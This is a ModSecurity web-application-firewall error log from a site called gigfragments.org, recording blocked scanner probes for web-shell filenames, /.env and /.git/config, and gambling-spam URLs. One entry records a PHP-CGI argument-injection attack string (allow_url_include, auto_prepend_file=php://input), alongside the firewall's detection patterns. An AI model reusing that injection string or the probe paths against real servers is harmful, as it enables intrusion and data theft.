[Mon Mar 30 03:50:47.077279 2026] [:error] [pid 4033:tid 4059] [client 51.120.74.80:47493] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "acmCl6nf-DXI9VblHi0djAAAAAY"]
[Mon Mar 30 03:50:47.721106 2026] [:error] [pid 55884:tid 55970] [client 51.120.74.80:35035] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "acmClzjuYLVkve3VbhxhHgAAARE"]
[Mon Mar 30 03:50:48.319127 2026] [:error] [pid 4033:tid 4066] [client 51.120.74.80:35019] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "acmCmKnf-DXI9VblHi0dlgAAAA0"]
[Mon Mar 30 03:50:48.963981 2026] [:error] [pid 4033:tid 4067] [client 51.120.74.80:42638] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "acmCmKnf-DXI9VblHi0dmQAAAA4"]
[Mon Mar 30 03:50:49.727172 2026] [:error] [pid 4139:tid 4149] [client 51.120.74.80:18694] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "acmCmYYyhg47TZoaP9LxAwAAAMI"]
[Mon Mar 30 03:50:50.395720 2026] [:error] [pid 4034:tid 4089] [client 51.120.74.80:42677] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "acmCmrfAq8eF_uU4gu2DrQAAAEg"]
[Mon Mar 30 03:50:51.208091 2026] [:error] [pid 55884:tid 55968] [client 51.120.74.80:31885] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "acmCmzjuYLVkve3VbhxhIgAAAQ8"]
[Mon Mar 30 03:50:51.864729 2026] [:error] [pid 4034:tid 4097] [client 51.120.74.80:35034] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acmCm7fAq8eF_uU4gu2DtgAAAFA"]
[Mon Mar 30 03:50:52.444232 2026] [:error] [pid 4034:tid 4082] [client 51.120.74.80:30538] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acmCnLfAq8eF_uU4gu2DugAAAEE"]
[Mon Mar 30 03:50:53.010164 2026] [:error] [pid 55884:tid 55974] [client 51.120.74.80:57052] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acmCnTjuYLVkve3VbhxhJgAAARU"]
[Mon Mar 30 03:50:53.647823 2026] [:error] [pid 55884:tid 55975] [client 51.120.74.80:4648] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acmCnTjuYLVkve3VbhxhKgAAARY"]
[Mon Mar 30 03:50:54.262493 2026] [:error] [pid 55884:tid 55976] [client 51.120.74.80:27243] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "acmCnjjuYLVkve3VbhxhLQAAARc"]
[Mon Mar 30 03:50:54.837812 2026] [:error] [pid 4040:tid 4118] [client 51.120.74.80:43380] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "acmCngxlbJV8kpOpFvY8jwAAAIo"]
[Mon Mar 30 03:50:55.508493 2026] [:error] [pid 4040:tid 4122] [client 51.120.74.80:26729] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "acmCnwxlbJV8kpOpFvY8kQAAAI4"]
[Mon Mar 30 03:50:56.166540 2026] [:error] [pid 4040:tid 4119] [client 51.120.74.80:31890] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "acmCoAxlbJV8kpOpFvY8lQAAAIs"]
[Mon Mar 30 03:50:56.823088 2026] [:error] [pid 4040:tid 4116] [client 51.120.74.80:18737] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "acmCoAxlbJV8kpOpFvY8lwAAAIg"]
[Mon Mar 30 03:50:57.348640 2026] [:error] [pid 4033:tid 4053] [client 51.120.74.80:46555] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "acmCoanf-DXI9VblHi0dpAAAAAA"]
[Mon Mar 30 03:50:57.942798 2026] [:error] [pid 4033:tid 4069] [client 51.120.74.80:31908] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "acmCoanf-DXI9VblHi0dpgAAABA"]
[Mon Mar 30 04:12:24.942119 2026] [:error] [pid 4033:tid 4072] [client 106.227.49.113:54345] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acmHqKnf-DXI9VblHi0vtgAAABM"]
[Mon Mar 30 04:50:34.269184 2026] [:error] [pid 4040:tid 4123] [client 43.133.253.253:51942] [client 43.133.253.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acmQmgxlbJV8kpOpFvZRQgAAAI8"]
[Mon Mar 30 07:08:02.233737 2026] [authz_core:error] [pid 14276:tid 14287] [client 165.227.84.14:38512] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Mon Mar 30 07:08:10.438056 2026] [:error] [pid 4034:tid 4090] [client 165.227.84.14:38564] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "acmw2rfAq8eF_uU4gu3EfQAAAEk"]
[Mon Mar 30 07:08:15.063447 2026] [:error] [pid 4034:tid 4082] [client 165.227.84.14:60348] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "acmw37fAq8eF_uU4gu3EgAAAAEE"]
[Mon Mar 30 07:08:30.955093 2026] [:error] [pid 4034:tid 4097] [client 165.227.84.14:43856] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "acmw7rfAq8eF_uU4gu3EkAAAAFA"]
[Mon Mar 30 07:08:55.638517 2026] [:error] [pid 4040:tid 4114] [client 165.227.84.14:55388] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/trace.axd"] [unique_id "acmxBwxlbJV8kpOpFvaLgwAAAIY"]
[Mon Mar 30 10:15:43.600314 2026] [:error] [pid 35248:tid 35255] [client 170.106.179.68:60974] [client 170.106.179.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acncz73igMCgAQPFS__QPwAAAEE"]
[Mon Mar 30 11:28:51.282083 2026] [:error] [pid 35248:tid 35277] [client 221.229.106.25:57190] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acnt873igMCgAQPFS_8J1wAAAFc"]
[Mon Mar 30 13:14:01.321487 2026] [:error] [pid 35343:tid 35351] [client 65.108.125.120:16014] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "acoGmaP5HurqmbvwN-Kj5AAAAAY"]
[Mon Mar 30 13:14:03.401348 2026] [:error] [pid 35343:tid 35359] [client 65.108.125.120:16030] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "acoGm6P5HurqmbvwN-Kj-AAAAA4"]
[Mon Mar 30 13:14:05.302269 2026] [:error] [pid 35343:tid 35364] [client 65.108.125.120:16046] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "acoGnaP5HurqmbvwN-KkBQAAABM"]
[Mon Mar 30 13:14:07.241251 2026] [:error] [pid 35248:tid 35262] [client 65.108.125.120:16060] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "acoGn73igMCgAQPFS_9C4gAAAEg"]
[Mon Mar 30 13:14:09.204263 2026] [:error] [pid 35343:tid 35349] [client 65.108.125.120:31268] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "acoGoaP5HurqmbvwN-KkGgAAAAQ"]
[Mon Mar 30 13:14:11.267211 2026] [:error] [pid 41941:tid 41962] [client 65.108.125.120:31274] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "acoGoyB2g7BNCXGBOJOfowAAARM"]
[Mon Mar 30 13:14:13.243689 2026] [:error] [pid 41941:tid 41964] [client 65.108.125.120:31286] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "acoGpSB2g7BNCXGBOJOfrAAAARU"]
[Mon Mar 30 13:14:15.396498 2026] [:error] [pid 35343:tid 35347] [client 65.108.125.120:31290] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "acoGp6P5HurqmbvwN-KkKwAAAAI"]
[Mon Mar 30 13:14:17.376308 2026] [:error] [pid 41941:tid 41959] [client 65.108.125.120:31304] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "acoGqSB2g7BNCXGBOJOfwAAAARA"]
[Mon Mar 30 13:14:19.397596 2026] [:error] [pid 50663:tid 50676] [client 65.108.125.120:60890] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "acoGq228b9DKIAMEdfDM8QAAAYs"]
[Mon Mar 30 13:14:21.308893 2026] [:error] [pid 35343:tid 35349] [client 65.108.125.120:60902] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "acoGraP5HurqmbvwN-KkNQAAAAQ"]
[Mon Mar 30 13:14:23.371249 2026] [:error] [pid 50663:tid 50686] [client 65.108.125.120:60918] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "acoGr228b9DKIAMEdfDM9QAAAZU"]
[Mon Mar 30 13:14:25.500252 2026] [:error] [pid 50663:tid 50667] [client 65.108.125.120:60932] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "acoGsW28b9DKIAMEdfDNBQAAAYI"]
[Mon Mar 30 13:14:27.501150 2026] [:error] [pid 35248:tid 35268] [client 65.108.125.120:60940] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "acoGs73igMCgAQPFS_9DDgAAAE4"]
[Mon Mar 30 13:14:29.441419 2026] [:error] [pid 35250:tid 35330] [client 65.108.125.120:46560] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "acoGtYaKM1MR6zcp2YPLKQAAANM"]
[Mon Mar 30 13:14:31.461890 2026] [:error] [pid 35343:tid 35353] [client 65.108.125.120:46566] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "acoGt6P5HurqmbvwN-KkTQAAAAg"]
[Mon Mar 30 13:14:33.477786 2026] [:error] [pid 51065:tid 51075] [client 65.108.125.120:46574] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "acoGuXMr8wtZeHSSB7LoAgAAAcg"]
[Mon Mar 30 13:14:35.577064 2026] [:error] [pid 35248:tid 35254] [client 65.108.125.120:46576] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "acoGu73igMCgAQPFS_9DFQAAAEA"]
[Mon Mar 30 13:14:37.463642 2026] [:error] [pid 35343:tid 35351] [client 65.108.125.120:46580] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "acoGvaP5HurqmbvwN-KkYAAAAAY"]
[Mon Mar 30 13:14:39.450059 2026] [:error] [pid 51065:tid 51076] [client 65.108.125.120:60126] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acoGv3Mr8wtZeHSSB7LoEQAAAck"]
[Mon Mar 30 13:14:41.498928 2026] [:error] [pid 35248:tid 35272] [client 65.108.125.120:60134] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acoGwb3igMCgAQPFS_9DLwAAAFI"]
[Mon Mar 30 13:14:43.366194 2026] [:error] [pid 35249:tid 35303] [client 65.108.125.120:60146] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "acoGwyqCKiTq85d6rgAt6gAAAJM"]
[Mon Mar 30 13:14:45.414005 2026] [:error] [pid 50663:tid 50671] [client 65.108.125.120:60154] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "acoGxW28b9DKIAMEdfDNHgAAAYY"]
[Mon Mar 30 13:14:47.435139 2026] [:error] [pid 35343:tid 35353] [client 65.108.125.120:60170] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "acoGx6P5HurqmbvwN-KkcgAAAAg"]
[Mon Mar 30 13:14:49.512870 2026] [:error] [pid 35250:tid 35330] [client 65.108.125.120:50942] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "acoGyYaKM1MR6zcp2YPLOgAAANM"]
[Mon Mar 30 13:14:51.627198 2026] [:error] [pid 50663:tid 50671] [client 65.108.125.120:50944] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "acoGy228b9DKIAMEdfDNJgAAAYY"]
[Mon Mar 30 13:14:53.736994 2026] [:error] [pid 35249:tid 35299] [client 65.108.125.120:50952] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "acoGzSqCKiTq85d6rgAt-AAAAI8"]
